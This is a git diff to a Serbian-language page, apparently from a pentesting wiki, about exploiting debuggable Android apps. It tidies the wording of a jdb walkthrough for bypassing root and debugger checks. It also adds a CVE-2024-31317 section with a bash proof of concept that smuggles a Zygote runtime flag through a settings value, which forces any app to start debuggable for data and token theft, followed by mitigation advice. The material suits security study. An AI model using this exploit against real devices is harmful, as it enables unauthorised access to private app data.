diff --git a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index db82c67f2..bfb3ae3ec 100644 --- a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -# **Obilaženje root i debagovanja provere** +# **Obilaženje provere root i debagovanja** Ovaj deo posta je sažetak iz posta [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) @@ -12,34 +12,34 @@ Ovaj deo posta je sažetak iz posta [**https://medium.com/@shubhamsonani/hacking Sadržaj zasnovan na https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 -1. **Decompile APK:** +1. **Decompile the APK:** - Iskoristite APK-GUI alat za dekompilaciju APK-a. -- U _android-manifest_ datoteci, dodajte `android:debuggable=true` da omogućite režim debagovanja. +- U _android-manifest_ datoteci, dodajte `android:debuggable="true"` da omogućite režim debagovanja. - Ponovo kompajlirajte, potpišite i zipalign modifikovanu aplikaciju. 2. **Instalirajte modifikovanu aplikaciju:** - Koristite komandu: `adb install `. -3. **Preuzmite naziv paketa:** +3. **Preuzmite ime paketa:** -- Izvršite `adb shell pm list packages –3` da biste naveli aplikacije trećih strana i pronašli naziv paketa. +- Izvršite `adb shell pm list packages –3` da biste naveli aplikacije trećih strana i pronašli ime paketa. 4. **Postavite aplikaciju da čeka na vezu debagera:** - Komanda: `adb shell am setup-debug-app –w `. - **Napomena:** Ova komanda mora biti pokrenuta svaki put pre pokretanja aplikacije kako bi se osiguralo da čeka na debager. -- Za trajnost, koristite `adb shell am setup-debug-app –w -–persistent `. +- Za trajnost, koristite `adb shell am setup-debug-app –w ––persistent `. - Da biste uklonili sve oznake, koristite `adb shell am clear-debug-app `. 5. **Pripremite se za debagovanje u Android Studiju:** -- Navigirajte u Android Studiju do _File -> Open Profile or APK_. +- Idite u Android Studio na _File -> Open Profile or APK_. - Otvorite rekompajlirani APK. 6. **Postavite prekidne tačke u ključnim Java datotekama:** -- Postavite prekidne tačke u `MainActivity.java` (specifično u `onCreate` metodi), `b.java`, i `ContextWrapper.java`. +- Postavite prekidne tačke u `MainActivity.java` (specifično u metodi `onCreate`), `b.java`, i `ContextWrapper.java`. ### **Obilaženje provera** @@ -48,26 +48,26 @@ Aplikacija će u određenim trenucima proveravati da li je debagovana i takođe Za proveru debagovanja: 1. **Modifikujte postavke oznaka:** -- U sekciji varijabli konzole debagera, navigirajte do: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`. +- U sekciji varijabli konzole debagera, idite na: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`. - **Napomena:** Binarna reprezentacija `flags = 814267974` je `11000011100111011110`, što ukazuje da je "Flag_debuggable" aktivan. ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png) -Ovi koraci zajedno osiguravaju da aplikacija može biti debagovana i da se određene sigurnosne provere mogu obiti korišćenjem debagera, olakšavajući dublju analizu ili modifikaciju ponašanja aplikacije. +Ovi koraci zajedno osiguravaju da aplikacija može biti debagovana i da se određene sigurnosne provere mogu obilaženjem debagera, olakšavajući dublju analizu ili modifikaciju ponašanja aplikacije. -Korak 2 uključuje promenu vrednosti oznake na 814267972, koja se u binarnom obliku predstavlja kao 110000101101000000100010100. +Korak 2 uključuje promenu vrednosti oznake na 814267972, koja je predstavljena u binarnom obliku kao 110000101101000000100010100. # **Eksploatacija ranjivosti** Demonstracija je pružena korišćenjem ranjive aplikacije koja sadrži dugme i textview. U početku, aplikacija prikazuje "Crack Me". Cilj je promeniti poruku sa "Try Again" na "Hacked" u toku izvršavanja, bez modifikacije izvornog koda. -## **Provera ranjivosti** +## **Proveravanje ranjivosti** - Aplikacija je dekompilirana korišćenjem `apktool` da bi se pristupilo `AndroidManifest.xml` datoteci. - Prisutnost `android_debuggable="true"` u AndroidManifest.xml ukazuje da je aplikacija debagovana i podložna eksploataciji. - Vredno je napomenuti da se `apktool` koristi isključivo za proveru statusa debagovanja bez modifikacije bilo kog koda. -## **Priprema postavke** +## **Priprema postavki** - Proces je uključivao pokretanje emulatora, instaliranje ranjive aplikacije i korišćenje `adb jdwp` za identifikaciju Dalvik VM portova koji slušaju. - JDWP (Java Debug Wire Protocol) omogućava debagovanje aplikacije koja se izvršava u VM-u izlaganjem jedinstvenog porta. @@ -77,15 +77,51 @@ Demonstracija je pružena korišćenjem ranjive aplikacije koja sadrži dugme i - Eksploatacija je izvršena postavljanjem prekidnih tačaka i kontrolisanjem toka aplikacije. - Komande poput `classes` i `methods ` korišćene su za otkrivanje strukture aplikacije. -- Prekidna tačka je postavljena u `onClick` metodi, a njeno izvršavanje je kontrolisano. +- Prekidna tačka je postavljena u metodi `onClick`, a njeno izvršavanje je kontrolisano. - Komande `locals`, `next`, i `set` korišćene su za inspekciju i modifikaciju lokalnih varijabli, posebno menjajući poruku "Try Again" u "Hacked". -- Modifikovani kod je izvršen korišćenjem `run` komande, uspešno menjajući izlaz aplikacije u realnom vremenu. +- Modifikovani kod je izvršen korišćenjem komande `run`, uspešno menjajući izlaz aplikacije u realnom vremenu. Ovaj primer je demonstrirao kako se ponašanje debagovane aplikacije može manipulisati, ističući potencijal za složenije eksploate poput dobijanja shell pristupa na uređaju u kontekstu aplikacije. +--- + +# 2024 – Pretvaranje **bilo koje** aplikacije u debagovani proces (CVE-2024-31317) + +Čak i ako ciljani APK _nije_ isporučen sa oznakom `android:debuggable`, nedavna istraživanja su pokazala da je moguće prisiliti **arbitrarne aplikacije** da se pokrenu sa `DEBUG_ENABLE_JDWP` runtime oznakom zloupotrebom načina na koji Zygote analizira argumente komandne linije. + +* **Ranjivost:** Nepravilna validacija `--runtime-flags` dostavljenih putem Zygote-ovog komandnog soketa omogućava napadaču koji može da dođe do `system_server` (na primer, putem privilegovanog `adb` shell-a koji ima `WRITE_SECURE_SETTINGS` dozvolu) da injektuje dodatne parametre. Kada se kreirana komanda ponovo reprodukuje od strane `system_server`, žrtvinska aplikacija se fork-uje kao _debuggable_ i sa JDWP nitima koje slušaju. Problem se prati kao **CVE-2024-31317** i rešen je u junskom 2024 Android Security Bulletin-u. +* **Uticaj:** Potpuni pristup za čitanje/pisanje privatnom direktorijumu podataka **bilo koje** aplikacije (uključujući privilegovane kao što je `com.android.settings`), krađa tokena, MDM obilaženje, i u mnogim slučajevima direktan put do eskalacije privilegija zloupotrebom izvezenih IPC krajnjih tačaka sada debagovanog procesa. +* **Zahvaćene verzije:** Android 9 do 14 pre junskog 2024 nivoa zakrpe. + +## Brza PoC +```bash +# Requires: adb shell (device must be <2024-06-01 patch-level) +# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag +adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:" + +# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP +adb shell monkey -p com.victim.bank 1 + +# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio +adb jdwp # obtain the PID +adb forward tcp:8700 jdwp: +jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700 +``` +> Kreirana vrednost u koraku 1 prekida parser iz “brze staze” i dodaje drugu sintetičku komandu gde je `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) prihvaćena kao da je bila dostavljena od strane okvira. Kada se aplikacija pokrene, otvara se JDWP soket i redovne dinamičke-debug trikove (zamena metoda, patchovanje varijabli, live Frida injekcija, itd.) su mogući **bez modifikovanja APK-a ili slike za pokretanje uređaja**. + +## Detekcija i ublažavanje + +* Patch na **2024-06-01** (ili kasnije) nivo bezbednosti – Google je ojačao `ZygoteCommandBuffer` tako da se naredbe ne mogu krijumčariti na ovaj način. +* Ograničiti `WRITE_SECURE_SETTINGS` / `shell` pristup na proizvodnim uređajima. Eksploatacija zahteva ovu dozvolu, koja se obično drži samo od strane ADB ili aplikacija sa privilegijama OEM-a. +* Na EMM/MDM-u upravljanim flotama, primeniti `ro.debuggable=0` i odbiti shell putem `adb disable-verifier`. + +--- + ## Reference - [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) - [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications) +- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html) +- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/) {{#include ../../banners/hacktricks-training.md}}